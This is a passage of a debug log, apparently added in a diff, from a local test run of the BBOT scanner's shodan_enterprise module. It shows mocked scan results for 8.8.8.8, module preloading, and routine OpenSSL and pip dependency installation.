'8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'web-technology', 'in-scope'}) passed post-check +2026-02-27 22:07:06,528 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise +2026-02-27 22:07:06,528 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-02-27 22:07:06,529 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-02-27 22:07:06,529 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:07:06,530 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) from shodan_enterprise +2026-02-27 22:07:06,531 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) passed post-check +2026-02-27 22:07:06,531 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-02-27 22:07:06,532 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED +2026-02-27 22:07:06,532 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-02-27 22:07:06,532 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-02-27 22:07:06,533 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() +2026-02-27 22:07:06,533 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-02-27 22:07:06,534 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None +2026-02-27 22:07:06,535 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-02-27 22:07:06,634 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-02-27 22:07:06,635 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() +2026-02-27 22:07:06,654 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-02-27 22:07:06,655 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-02-27 22:07:06,655 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks +2026-02-27 22:07:06,663 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks +2026-02-27 22:07:06,663 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... +2026-02-27 22:07:06,664 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-02-27 22:07:06,666 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal +2026-02-27 22:07:06,667 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... +2026-02-27 22:07:06,668 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down +2026-02-27 22:07:06,788 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_2ch2yp82dx completed in 0 seconds with status FINISHED +2026-02-27 22:07:06,789 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test +2026-02-27 22:07:06,790 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 22:07:06,791 [CRITICAL] bbot test_module_shodan_enterprise.py:68 Found 1 ASN events +2026-02-27 22:07:06,791 [HUGEINFO] bbot test_module_shodan_enterprise.py:74 ASN Data: {'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': 'US'} +2026-02-27 22:11:15,462 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates +2026-02-27 22:11:15,464 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-02-27 22:11:15,476 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-02-27 22:11:15,478 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-02-27 22:11:15,480 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-02-27 22:11:15,481 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-02-27 22:11:15,484 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-02-27 22:11:15,485 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-02-27 22:11:15,487 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-02-27 22:11:15,488 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-02-27 22:11:15,490 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-02-27 22:11:15,491 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-02-27 22:11:15,493 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-02-27 22:11:15,494 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-02-27 22:11:15,495 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-02-27 22:11:15,496 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-02-27 22:11:15,497 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-02-27 22:11:15,499 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-02-27 22:11:15,500 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-02-27 22:11:15,501 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-02-27 22:11:15,504 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-02-27 22:11:15,505 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-02-27 22:11:15,507 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-02-27 22:11:15,508 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal +2026-02-27 22:11:15,509 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-02-27 22:11:15,510 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-02-27 22:11:15,511 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-02-27 22:11:15,512 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-02-27 22:11:15,514 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-02-27 22:11:15,515 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-02-27 22:11:15,516 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz +2026-02-27 22:11:15,517 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-02-27 22:11:15,520 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules +2026-02-27 22:11:15,522 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-02-27 22:11:15,523 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-02-27 22:11:15,525 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-02-27 22:11:15,526 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-02-27 22:11:15,528 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-02-27 22:11:15,530 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-02-27 22:11:15,532 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-02-27 22:11:15,537 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-02-27 22:11:15,538 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-02-27 22:11:15,540 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-02-27 22:11:15,541 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-02-27 22:11:15,543 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-02-27 22:11:15,544 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-02-27 22:11:15,546 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-02-27 22:11:15,547 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-02-27 22:11:15,549 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-02-27 22:11:15,550 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly +2026-02-27 22:11:15,551 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-02-27 22:11:15,553 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules +2026-02-27 22:11:15,555 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-02-27 22:11:15,561 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-02-27 22:11:15,563 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-02-27 22:11:15,564 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-02-27 22:11:15,565 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-02-27 22:11:15,575 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-02-27 22:11:15,576 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-02-27 22:11:15,578 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-02-27 22:11:15,579 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-02-27 22:11:15,580 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-02-27 22:11:15,581 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-02-27 22:11:15,596 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-02-27 22:11:15,599 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-02-27 22:11:15,602 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-02-27 22:11:15,605 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-02-27 22:11:15,607 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-02-27 22:11:15,609 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-02-27 22:11:15,611 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-02-27 22:11:15,614 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-02-27 22:11:15,616 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-02-27 22:11:15,622 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-02-27 22:11:15,623 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-02-27 22:11:15,626 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-02-27 22:11:15,628 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-02-27 22:11:15,631 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-02-27 22:11:15,634 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-02-27 22:11:15,637 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-02-27 22:11:15,639 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-02-27 22:11:15,641 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-02-27 22:11:15,643 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-02-27 22:11:15,644 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-02-27 22:11:15,647 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-02-27 22:11:15,650 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-02-27 22:11:15,654 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-02-27 22:11:15,656 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-02-27 22:11:15,657 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-02-27 22:11:15,659 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-02-27 22:11:15,672 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-02-27 22:11:15,674 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-02-27 22:11:15,676 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-02-27 22:11:15,677 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-02-27 22:11:15,681 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-02-27 22:11:15,683 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-02-27 22:11:15,686 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-02-27 22:11:15,687 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-02-27 22:11:15,689 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-02-27 22:11:15,690 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-02-27 22:11:15,693 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-02-27 22:11:15,695 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-02-27 22:11:15,697 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-02-27 22:11:15,699 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-02-27 22:11:15,702 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-02-27 22:11:15,704 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-02-27 22:11:15,706 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-02-27 22:11:15,708 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-02-27 22:11:15,710 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-02-27 22:11:15,711 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-02-27 22:11:15,713 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-02-27 22:11:15,715 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-02-27 22:11:15,718 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-02-27 22:11:15,721 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-02-27 22:11:15,722 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-02-27 22:11:15,724 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-02-27 22:11:15,725 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-02-27 22:11:15,728 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-02-27 22:11:15,730 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-02-27 22:11:15,733 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-02-27 22:11:15,736 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-02-27 22:11:15,738 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-02-27 22:11:15,739 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-02-27 22:11:15,740 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-02-27 22:11:15,742 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-02-27 22:11:15,743 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-02-27 22:11:15,745 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-02-27 22:11:15,746 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-02-27 22:11:15,749 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-02-27 22:11:15,751 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-02-27 22:11:15,753 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-02-27 22:11:15,755 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-02-27 22:11:15,756 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-02-27 22:11:15,757 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-02-27 22:11:15,758 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-02-27 22:11:15,759 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-02-27 22:11:15,760 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-02-27 22:11:15,761 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-02-27 22:11:15,762 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-02-27 22:11:15,764 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-02-27 22:11:15,765 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-02-27 22:11:15,766 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-02-27 22:11:15,768 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-02-27 22:11:15,770 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-02-27 22:11:15,771 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-02-27 22:11:15,772 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-02-27 22:11:15,774 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-02-27 22:11:15,775 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-02-27 22:11:15,776 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-02-27 22:11:15,777 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-02-27 22:11:15,779 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-02-27 22:11:15,780 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-02-27 22:11:15,783 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-02-27 22:11:15,785 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-02-27 22:11:15,787 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-02-27 22:11:15,788 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-02-27 22:11:15,789 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-02-27 22:11:15,791 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-02-27 22:11:15,792 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-02-27 22:11:15,793 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-02-27 22:11:15,794 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-02-27 22:11:15,795 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-02-27 22:11:15,796 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-02-27 22:11:15,797 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-02-27 22:11:15,799 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-02-27 22:11:15,800 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-02-27 22:11:15,802 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-02-27 22:11:15,803 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-02-27 22:11:15,804 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report +2026-02-27 22:11:15,805 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-02-27 22:11:15,806 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-02-27 22:11:16,028 [DEBUG] filelock _api.py:331 Attempting to acquire lock 4547165056 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 22:11:16,028 [DEBUG] filelock _api.py:334 Lock 4547165056 acquired on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 22:11:16,030 [DEBUG] filelock _api.py:364 Attempting to release lock 4547165056 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 22:11:16,030 [DEBUG] filelock _api.py:367 Lock 4547165056 released on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 22:11:17,173 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 22:11:17,174 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 22:11:17,175 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-02-27 22:11:17,325 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-02-27 22:11:17,950 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-02-27 22:11:17,950 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-02-27 22:11:17,950 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-02-27 22:11:17,951 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-02-27 22:11:18,177 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-02-27 22:11:18,179 [DEBUG] bbot base.py:103 Mocking DNS +2026-02-27 22:11:18,286 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-02-27 22:11:18,286 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-02-27 22:11:18,340 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) +2026-02-27 22:11:18,343 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-02-27 22:11:18,344 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general +2026-02-27 22:11:18,884 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-02-27 22:11:18,885 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-02-27 22:11:22,319 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful +2026-02-27 22:11:22,320 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-02-27 22:11:22,320 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-02-27 22:11:24,648 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-02-27 22:11:24,648 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-02-27 22:11:24,654 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 22:11:24,654 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-02-27 22:11:24,654 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 22:11:24,655 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-02-27 22:11:24,655 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 22:11:24,655 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-02-27 22:11:24,656 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 22:11:24,656 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. +2026-02-27 22:11:24,657 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" +2026-02-27 22:11:24,657 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-02-27 22:11:24,662 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/pb8m14ciovd4uop4dkpu +2026-02-27 22:11:25,823 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) +2026-02-27 22:11:25,824 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-02-27 22:11:25,826 [VERBOSE] bbot.scanner 